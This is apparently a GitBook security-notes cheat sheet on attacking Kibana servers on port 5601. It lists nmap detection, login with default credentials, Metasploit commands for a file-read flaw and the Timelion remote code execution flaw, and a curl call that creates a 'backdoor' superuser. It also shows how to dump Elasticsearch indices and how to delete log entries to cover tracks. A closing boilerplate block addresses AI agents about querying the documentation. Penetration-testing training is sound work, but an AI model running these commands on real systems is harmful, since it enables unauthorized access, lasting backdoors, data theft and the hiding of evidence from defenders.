> For the complete documentation index, see [llms.txt](https://ahmed-tarek.gitbook.io/security-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ahmed-tarek.gitbook.io/security-notes/notes/attack-vectors-by-port/kibana.md).

# Kibana

**`Default Port: 5601`**

**Kibana** is an open-source data visualization and exploration tool used for log and time-series analytics. It provides powerful and beautiful dashboards for real-time visualization of data in Elasticsearch.

### Connect <a href="#connect" id="connect"></a>

#### Accessing Kibana <a href="#accessing-kibana" id="accessing-kibana"></a>

To interact with Kibana, you will typically use a web browser to connect to its web interface. The default port for Kibana is 5601.

```
http://<target-ip>:5601
```

### Recon <a href="#recon" id="recon"></a>

#### Detecting Kibana Service <a href="#detecting-kibana-service" id="detecting-kibana-service"></a>

Nmap can be used to detect whether the Kibana service is running on a target machine.

```
nmap -p5601 <target-ip>
```

Additionally, you can use a service detection script for more detailed information.

```
nmap --script http-kibana-detect -p 5601 <target-ip>
```

### Enumeration <a href="#enumeration" id="enumeration"></a>

#### Enumerating Kibana Version <a href="#enumerating-kibana-version" id="enumerating-kibana-version"></a>

Knowing the version of Kibana running on the target can help identify known vulnerabilities specific to that version. You can usually find the version information on the login page or the about page.

### Attack Vectors <a href="#attack-vectors" id="attack-vectors"></a>

#### Default Credentials <a href="#default-credentials" id="default-credentials"></a>

Often, Kibana installations may have default credentials that haven’t been changed. Attempt to log in using:

* Username: elastic
* Password: changeme

```
curl -XPOST -u elastic:changeme http://<target-ip>:5601/api/security/v1/login
```

#### Kibana File Read Vulnerability (CVE-2019-7609) <a href="#kibana-file-read-vulnerability-cve-2019-7609" id="kibana-file-read-vulnerability-cve-2019-7609"></a>

This exploit allows an attacker to read arbitrary files on the Kibana server. Metasploit has a module for this exploit:

```
msfconsole
use exploit/linux/http/kibana_lfr
set RHOST <target-ip>
set RPORT 5601
exploit
```

#### Remote Code Execution via Kibana Timelion (CVE-2018-17246) <a href="#remote-code-execution-via-kibana-timelion-cve-2018-17246" id="remote-code-execution-via-kibana-timelion-cve-2018-17246"></a>

This utilized a vulnerability in the Timelion feature to achieve RCE.

```
msfconsole
use exploit/multi/http/kibana_timelion_rce
set RHOST <target-ip>
set RPORT 5601
exploit
```

### Post-Exploitation <a href="#post-exploitation" id="post-exploitation"></a>

#### Maintaing Access <a href="#maintaing-access" id="maintaing-access"></a>

Create an administrative backdoor account if you have gathered credentials or achieved code execution.

```
curl -XPOST -u <privileged-user>:<password> http://<target-ip>:5601/api/security/v1/users -H 'Content-Type: application/json' -d '{
  "username" : "backdoor",
  "password" : "password",
  "roles" : [ "superuser" ]
}'
```

#### Dumping Data <a href="#dumping-data" id="dumping-data"></a>

Based on what Elasticsearch is logging, you can extract a lot from Kibana.

```
curl -XGET 'http://<target-ip>:9200/_cat/indices?v&pretty'
curl -XGET 'http://<target-ip>:9200/<index>/_search?pretty'
```

#### Cleaning Logs <a href="#cleaning-logs" id="cleaning-logs"></a>

If you have write permissions, you can manipulate or delete logs to cover your tracks.

```
curl -X POST "http://<target-ip>:9200/<index>/_delete_by_query" -H 'Content-Type: application/json' -d'
{
  "query": {
    "match": {
      "message": "suspicious activity message"
    }
  }
}'
``
```

<br>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ahmed-tarek.gitbook.io/security-notes/notes/attack-vectors-by-port/kibana.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
